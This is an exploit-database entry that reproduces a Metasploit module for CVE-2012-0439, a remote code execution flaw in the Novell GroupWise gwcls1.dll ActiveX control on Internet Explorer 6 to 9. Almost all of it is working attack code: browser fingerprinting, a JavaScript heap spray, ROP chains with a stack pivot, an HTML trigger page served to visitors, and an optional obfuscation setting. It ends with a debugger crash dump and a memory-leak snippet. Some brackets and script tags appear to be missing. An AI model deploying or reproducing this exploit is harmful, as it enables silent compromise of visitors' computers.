发布 2013-02-12 漏洞条目

Novell Groupwise Client – ‘gwcls1.dll’ ActiveX Remote Code Execution (Metasploit)

Exploit Source

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::RopDb

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:ua_name => HttpClients::IE,

:ua_minver => "6.0",

:ua_maxver => "9.0",

:javascript => true,

:os_name => OperatingSystems::WINDOWS,

:rank => NormalRanking,

:classid => "{601D7813-408F-11D1-98D7-444553540000}",

:method => "SetEngine"

})

def initialize(info={})

super(update_info(info,

'Name' => "Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution",

'Description' => %q{

This module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll

ActiveX. Several methods in the GWCalServer control use user provided data as

a pointer, which allows to read arbitrary memory and execute arbitrary code. This

module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The

JRE6 needs to be installed to achieve ASLR bypass.

'License' => MSF_LICENSE,

'Author' =>

[

'rgod <rgod[at]autistici.org>', # Vulnerability discovery

'juan vazquez' # Metasploit module

'References' =>

[

[ 'CVE', '2012-0439' ],

[ 'OSVDB', '89700' ],

[ 'BID' , '57658' ],

[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-008' ],

[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011688' ]

'Payload' =>

{

'BadChars' => "\x00",

'Space' => 1040,

'DisableNops' => true

'DefaultOptions' =>

{

'InitialAutoRunScript' => 'migrate -f'

'Platform' => 'win',

'Targets' =>

[

# gwcls1.dll 12.0.0.8586

[ 'Automatic', {} ],

[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],

[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],

[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x3e3' } ],

[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ],

[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x3e3' } ],

[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3e3' } ],

[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3ed' } ]#'0x5fe' } ]

'Privileged' => false,

'DisclosureDate' => "Jan 30 2013",

'DefaultTarget' => 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])

], self.class)

end

def get_target(agent)

#If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt

when '5.1'

os_name = 'Windows XP SP3'

when '6.0'

os_name = 'Windows Vista'

when '6.1'

os_name = 'Windows 7'

end

targets.each do |t|

if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))

print_status("Target selected as: #{t.name}")

return t

end

return nil

end

def ie_heap_spray(my_target, p)

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))

js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

# Land the payload at 0x0c0c0c0c

case my_target

when targets[7]

# IE 9 on Windows 7

js = %Q|

function randomblock(blocksize)

{

var theblock = "";

for (var i = 0; i < blocksize; i++)

{

theblock += Math.floor(Math.random()*90)+10;

}

return theblock;

}

function tounescape(block)

{

var blocklen = block.length;

var unescapestr = "";

for (var i = 0; i < blocklen-1; i=i+4)

{

unescapestr += "%u" + block.substring(i,i+4);

}

return unescapestr;

}

var heap_obj = new heapLib.ie(0x10000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_random_nops}");

while (nops.length < 0x80000) nops += nops;

var offset_length = #{my_target['Offset']};

for (var i=0; i < 0x1000; i++) {

var padding = unescape(tounescape(randomblock(0x1000)));

while (padding.length < 0x1000) padding+= padding;

var junk_offset = padding.substring(0, offset_length);

var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);

while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;

sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);

heap_obj.alloc(sprayblock);

}

else

# For IE 6, 7, 8

js = %Q|

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{my_target['Offset']});

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i=1; i < 0x300; i++) {

heap_obj.alloc(block);

}

var overflow = nops.substring(0, 10);

end

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']

js = ::Rex::Exploitation::JSObfu.new(js)

js.obfuscate

end

return js

end

def stack_pivot

pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb

pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit

pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit

pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset

return pivot

end

def get_payload(t, cli)

code = payload.encoded

# No rop. Just return the payload.

return [0x0c0c0c10 - 0x426].pack("V") + [0x0c0c0c14].pack("V") + code if t['Rop'].nil?

# Both ROP chains generated by mona.py - See corelan.be

case t['Rop']

when :msvcrt

print_status("Using msvcrt ROP")

rop_payload = generate_rop_payload('msvcrt', '', 'target'=>'xp') # Mapped at 0x0c0c07ea

jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string

rop_payload << jmp_shell

rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length)

rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset

rop_payload << [0x77c15ed5].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret

rop_payload << stack_pivot

rop_payload << code

else

print_status("Using JRE ROP")

rop_payload = generate_rop_payload('java', '') # Mapped at 0x0c0c07ea

jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string

rop_payload << jmp_shell

rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length)

rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset

rop_payload << [0x7C348B05].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret

rop_payload << stack_pivot

rop_payload << code

end

return rop_payload

end

def load_exploit_html(my_target, cli)

p = get_payload(my_target, cli)

js = ie_heap_spray(my_target, p)

trigger = "target.GetNXPItem(\"22/10/2013\", 1, 1);" * 200

html = %Q|

<html>

<head>

#{js}

</script>

</head>

<body>

</object>

target.SetEngine(0x0c0c0c0c-0x20);

setInterval(function(){#{trigger}},1000);

</script>

</body>

</html>

return html

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

uri = request.uri

print_status("Requesting: #{uri}")

my_target = get_target(agent)

# Avoid the attack if no suitable target found

if my_target.nil?

print_error("Browser not supported, sending 404: #{agent}")

send_not_found(cli)

return

end

html = load_exploit_html(my_target, cli)

html = html.gsub(/^\t\t/, '')

print_status("Sending HTML...")

send_response(cli, html, {'Content-Type'=>'text/html'})

end

=begin

* Remote Code Exec

(240.8d4): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\PROGRA~1\Novell\GROUPW~1\gwenv1.dll -

eax=00000000 ebx=0c0c0bec ecx=030c2998 edx=030c2998 esi=0c0c0bec edi=0013df58

eip=10335e2d esp=0013de04 ebp=0013de8c iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202

gwenv1!NgwOFErrorEnabledVector<NgwOFAttribute>::SetParent+0x326b9d:

10335e2d 8a8e4f040000 mov cl,byte ptr [esi+44Fh] ds:0023:0c0c103b=??

.text:103BDDEC mov eax, [ebp+var_4] // var_4 => Engine + 0x20

.text:103BDDEF test esi, esi

.text:103BDDF1 jnz short loc_103BDE17

.text:103BDDF3 cmp [eax+426h], esi

.text:103BDDF9 jz short loc_103BDE17 // Check function pointer against nil?

.text:103BDDFB mov ecx, [ebp+arg_8]

.text:103BDDFE mov edx, [ebp+arg_4]

.text:103BDE01 push ecx

.text:103BDE02 mov ecx, [eax+42Ah] // Carefully crafted object allows to control it

.text:103BDE08 push edx

.text:103BDE09 mov edx, [eax+426h] // Carefully crafted object allows to control it

.text:103BDE0F push ecx

.text:103BDE10 call edx // Win!

* Info Leak

// Memory disclosure => 4 bytes from an arbitrary address

// Unstable when info leaking and triggering rce path...

target.SetEngine(0x7ffe0300-0x45c); // Disclosing ntdll

var leak = target.GetMiscAccess();

alert(leak);

=end

作者: Metasploit
日期: 2013-02-12
类别: remote
平台: windows

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